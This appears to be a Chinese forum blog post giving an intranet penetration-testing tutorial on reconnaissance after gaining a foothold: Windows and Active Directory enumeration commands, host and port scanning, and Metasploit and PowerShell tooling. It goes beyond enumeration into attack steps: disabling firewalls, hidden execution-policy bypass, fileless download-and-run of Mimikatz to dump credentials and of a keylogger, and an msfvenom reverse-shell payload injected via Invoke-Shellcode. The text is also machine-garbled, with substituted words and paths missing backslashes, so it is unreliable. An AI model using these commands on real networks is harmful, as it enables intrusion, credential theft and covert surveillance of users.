内网渗透之信息收集(内网渗透百度百科)

进入内网环境后,对网络拓扑一无所知,测试人员应先对当前网络环境做出判别。对当前机器角色剖析,对机器所处网络环境拓扑构造剖析,对机器所处区域剖析。从而展开下一步攻击。

对机器所处网络环境剖析

对所处内网停止全面数据搜集和剖析整理,绘制出大致的内网整体构造拓扑。

对机器所处区域剖析

判别机器所处于网络拓扑哪个区域,是在DMZ区、办公区、中心区。区域并不是绝对的,所以区域界线也是相对的。

落地机角色剖析

判别当前主机是web效劳器、开发测试效劳器、公共效劳器、文件效劳器、代理效劳器、dns效劳器、存储效劳器等。详细判别过程可依据主机名,文件内容,网络链接状况综合完成。

文件效劳器:配合社工,生成payload捆绑到文件效劳器公用文件上,可批量上线主机
DNS效劳器:端口53,可经过DNS效劳器获取内网web系统信息,或者探测域信息
DHCP效劳器:查看内网多组网段信息,更多的获取拓补信息
开发测试效劳器:获取源码,新的信息资产,多存在弱口令
代理效劳器:获取效劳器账号,拿到各种密码
web效劳器:可能需求提权
个人PC:查看能否存在域环境
 


 

一、落地机信息搜集

本机信息搜集包括操作系统、权限、内网IP地址段、杀软、端口、效劳、补丁状况、网络环境状况、共享、会话等。假如是域内主机,那么操作系统、应用软件、补丁、效劳、杀软普通都是批量装置的。
 

内网网段信息搜集

只要找到不同网段才干停止纵向浸透,否则只能横向浸透
1.端口扫描:用s.exe工具停止扫描,例如浸透到192.168.1.10网段,可能存在192.168.2.0/3.0网段等。只扫描网段的一个端口以探测能否存在该网段。假如有端口信息回显表示该网段存在,能够停止深化探测。常见端口:windows:445/linux:22

2.抓包剖析网络流量,看网段信息。也能够运用meterpreter做转发抓取目的所在网络流量
3.浸透路由器、中心交流机
4.文件共享/FTP衔接记载、阅读器访问记载、mstsc衔接记载、ssh衔接记载。

ftp与mstsc衔接记载

图片[1]-内网渗透之信息收集(内网渗透百度百科)-孤勇者社区

阅读器访问记载

图片[2]-内网渗透之信息收集(内网渗透百度百科)-孤勇者社区

xshell衔接记载

图片[3]-内网渗透之信息收集(内网渗透百度百科)-孤勇者社区

 

手动信息搜集

#查询网络配置信息。停止IP地址段信息搜集
ipconfig /all
#查询操作系统及软件信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文系统
systeminfo | findstr /B /C:"OS 称号" /C:"OS 版本" #中文系统
# 查看系统体系构造
echo %PROCESSOR_ARCHITECTURE%
#PowerShell搜集软件的版本信息
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"
#查看当前权限
whoami && whoami /priv
#查询本机效劳信息
wmic service list brief
#查看装置的软件的版本、途径等
wmic product get name, version
#查询进程信息
wmic process list brief
#查看启动程序信息
wmic startup get command,caption
#查看方案任务
at(win10之前)
schtasks /query /fo LIST /v(win10)
#查看主机开机时间
net statistics workstation
#查看本机用户列表
net user
#获取本地管理员信息
net localgroup administrators
##查看当前在线用户
query user || qwinsta
#列出或断开本地计算机与所衔接的客户端的对话
net session
#查询端口列表
netstat -ano/-tnlp
#查看补丁列表
systeminfo
# 查看补丁的称号、描绘、ID、装置时间等
wmic qfe get Caption,Description,HotFixID,InstalledOn
#查看本机共享列表和可访问的域共享列表
net share (445端口)
#查找共享列表
wmic share get name,path,status
#磁盘映射
net use k:192.168.1.10c$
#查看当前系统版本
wmic OS get Caption,CSDVersion,OSArchitecture,Version
#查询路由表
route print
#可用接口的ARP缓存表。局域网内arp -a,查看能否有反复的mac地址判别能否存在arp诈骗。效劳器绑定mac地址方式避免arp诈骗
arp -a
查询防火墙相关配置
#关闭防火墙(Windows Server 2003 以前的版本)
netsh firewall set opmode disable
#关闭防火墙(Windows Server 2003 以后的版本)
netsh advfirewall set allprofiles state off
#查看防火墙配置(netsh命令也能够用作端口转发)
netsh firewall show config
#查看效劳
tasklist
#查看在线用户
quser
#查看远程衔接信息
cmdkey /l
#查看杀软
WMIC /Node:localhost /Namespace:rootSecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
#查看本地密码战略
net accounts
#查看hosts文件:
linux:cat  /etc/hosts
windows:type  c:Windowssystem32driversetchosts
#查看dns缓存
ipconfig  /displaydns

批处置脚本自动化信息搜集。为了简化手动信息搜集的繁琐步骤,我们可用运用自动化脚本WMIC(Windows管理工具命令行)脚本,脚本下载地址,执行该脚本以后,会将信息搜集的结果写入HTML文档。项目地址:
http://www.fuzzysecurity.com/scripts/files/wmic_info.rar
 


二、域环境信息搜集

判别能否存在域。ipconfig /all 可查看网关IP地址、DNS的IP地址、域名、本机能否和DNS效劳器处在同一网段等。经过反向解析查询命令nslookup来解析域名的IP地址,用解析到的IP地址停止比照,判别域控效劳器和DNS效劳器能否在同一台机器上。
#查看当前权限
whoami
#获取域用户SID
whoami /all
#查询指定用户的详情信息
net user xxx /domain
#查看域内一切账号
net user /domain
#比照查看"域(域名)"和"登录效劳器(域控制器)"的信息能否匹配
systeminfo
#比照查看"工作站域DNS称号(域名)"和"登录域()域控制器"的信息能否相匹配
net config workstation
#查看时间能够找到域控
net time /domain
#查看域密码战略
net accounts /domain
#查看当前登录域   
net config workstation
#查看域用户
net user /domain
# 登录本机的域管理员
net localgroup administrators /domain
#获取域控ip
ping -a xxx.com
#查询域
net view /domain
#查询域内的一切计算机
net view /domain:HACHE
#查询域的一切组(enterprise admins组权限最大)
net group /domain
#查看域管理员的用户组
net group "domain admins" /domain
#查询域系统管理员用户组
net group "Enterprise admins" /domain
#查看域控制器
net group "domain controllers" /domain
#查看域控制器的机器名
nltest /DCLIST:hacke
#查看dns缓存
ipconfig  /displaydns
#列域控c盘文件(需求域管理员权限)
dir WIN-75NA0949GFB.safe-duck.comc$
#查询一切域成员计算机列表
net group "domain computers" /domain
#获取域信任信息
nltest /domain_trusts
#获取域内用户的细致信息
wmic useraccount get /all
#查看存在的用户
dsquery user
#查询一切计算机称号
dsquery computer
#攻击主机CMD扫描同网段存活ip
for /L %P in (1,1,254) DO @ping ‐w 1 ‐n 1 192.168.1.%P | findstr "TTL ="
#查看域控制器
net group "domaincontrollers" /domain

1.域间信任关系可传送;
2.子域必需以父域名作为后缀;
3.DNS(Domain Name Server)用于域名及IP之间的转换。在内网浸透时寻觅DNS效劳器能够定位DC(DNS效劳器与DC通常就是一台主机)
4.活动目录(Active Directory),在域中提供目录效劳的组件
5.子域域控DNS效劳器要写主域的dns
 


三、探测内网存活主机

1.nbtscan

运用nbtscan扫描本地或远程TCP/IP网络上开放的NetBIOS称号效劳器,运用办法:
nbtscan.exe 192.168.1.1/20

图片[4]-内网渗透之信息收集(内网渗透百度百科)-孤勇者社区

输出的结果第一列为IP地址,第二列为机器名和所在域的称号,第三列即最后一列为及其所开启的效劳的列表。

2.运用ICMP协议快速探测内网
3.arp-scan工具,运用办法:

arp-scan –interface=eth0 –localnet

图片[5]-内网渗透之信息收集(内网渗透百度百科)-孤勇者社区

4.Empire的arpscan模块
5.Nishang中的Invoke-ARPScan.ps1脚本
6.s.exe网段单个端口探测主机存活
 


四、域内端口探测

在内网主机存活探测完成之后,对探测到的资产停止整理,然后端口扫描。留意端口banner信息,留意探测端口触发防御系统

1.端口扫描工具:s.exe

s.exe tcp 192.168.1.1 192.168.1.254 21,80,3389,445 10

图片[6]-内网渗透之信息收集(内网渗透百度百科)-孤勇者社区

2.telnet命令单个主机单个端口探测
3.Metatsploit框架下"search portscan"
4.PowerSploit的Invoke-ARPScan.ps1脚本
5.Nishang中的Invoke-PortScan模块
 


五、MSF信息搜集

MSF树立会话拿到shell,即可直接执行DOS命令至今停止信息搜集。也能够停止直接执行run winenum能够一键搜集记载。
run winenum

图片[7]-内网渗透之信息收集(内网渗透百度百科)-孤勇者社区

查看报告:

图片[8]-内网渗透之信息收集(内网渗透百度百科)-孤勇者社区
 


六、powershell 信息搜集

默许powershell是不能执行脚本的,获取脚本战略之后才干运用:

get-executionpolicy

更改执行战略必需以管理员身份执行才能够,否则报错注册表平安问题

set-executionpolicy unrestricted

图片[9]-内网渗透之信息收集(内网渗透百度百科)-孤勇者社区

#exec bypass绕过脚本
#绕过平安战略直行脚本
powershell.exe -Executionpolicy BYpass -file 123.ps1  
#本地躲藏绕过权限直行脚本
powershell.exe -Executionpolicy BYpass  -windowstyle hidden -nologo -nonlnteractive -noprofile -file 123.ps1 
#cmd下运用powershell
powershell -exec bypass "import-module c:powershell.ps1;Get-NetUser"

1.PowerSploit
    PowerSploit是PowerShell模块的汇合,kali自带,输入powersploit即可。

图片[10]-内网渗透之信息收集(内网渗透百度百科)-孤勇者社区

项目地址:https://github.com/PowerShellMafia/PowerSploit

树立会话后的meterpreter:

#加载模块
load powershell
#调用本地ps脚本
powershell_import /usr/share/windows-resources/powersploit/Recon/xx.ps1
#命令执行
powershell_execute  Get-NetDomain
#获取当前的域称号
Get-NetDomain 
#返回一切域内成员的细致信息
Get-Netuser
#获取一切的域内的控制器信息
Get-NetDomainController
#获取一切域内机器的称号
Get-NetComputer 
#获取域内的一切的网络共享
Get-Netshare
#获取指定效劳的远程衔接信息 
Get-NetRDPSESSION 
#获取进程的细致信息
Get-NetProcess 
# 获取活动目录的信息
Get-ADOPJECT
#判别用户能否登陆计算机且用户能否有管理员权限
invoke-processhunter

图片[11]-内网渗透之信息收集(内网渗透百度百科)-孤勇者社区
 

powersploit无文件攻击

将powersploit文件放在vps上面。确保目的效劳器能够访问:

图片[12]-内网渗透之信息收集(内网渗透百度百科)-孤勇者社区

在目的机导入脚本:

iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Recon/Invoke-Portscan.ps1")

图片[13]-内网渗透之信息收集(内网渗透百度百科)-孤勇者社区

执行命令:

#扫描网段、端口
invoke-portscan -hosts 192.168.1.1/24 -ports "21,22,80,139,80,445"

#invoke-mimikatz抓取hash
iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")
#导hash
Invoke-Mimikatz -dumpcreds

#get-keystrokes键盘记载
iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Exfiltration/Get-Keystrokes.ps1")
#将键盘记载保管到123.txt里面
Get-Keystrokes -logpath C:Usersadmin123.txt

msf调用powershell

#生成powershell payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=1123 -f powershell -o /root/xdx.ps1
#开启侦听
use exploit/multi/handler
set lport 1123
run
#目的下载生成好的ps脚本
iex(new-object net.webclient).downloadstring("http://192.168.3.1/xdx.ps1")  xdx.ps1
iex(new-object net.webclient).downloadstring("http://192.168.3.1/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
#能够将msf生成是payload进程注入
invoke-shellcode.ps1  
#执行进程注入,msf会反弹回话
Invoke-Shellcode  -shellcode  $buf  -Force 
 


 七、中间件配置文件

一个正常的Web应用肯定有对应的数据库账号密码信息,能够运用如下命令寻觅包含密码字段的文件:

findstr  /s /m "password" *.*
常用应用的默许配置途径:

Tomcat:
CATALINA_HOME/conf/tomcat-users.xml
Apache:
/etc/httpd/conf/httpd.conf
Nginx:
/etc/nginx/nginx.conf
Wdcp:
/www/wdlinux/wdcp/conf/mrpw.conf
Mysql:
mysqldatamysqluser.MYD

 

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞5赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像角卡0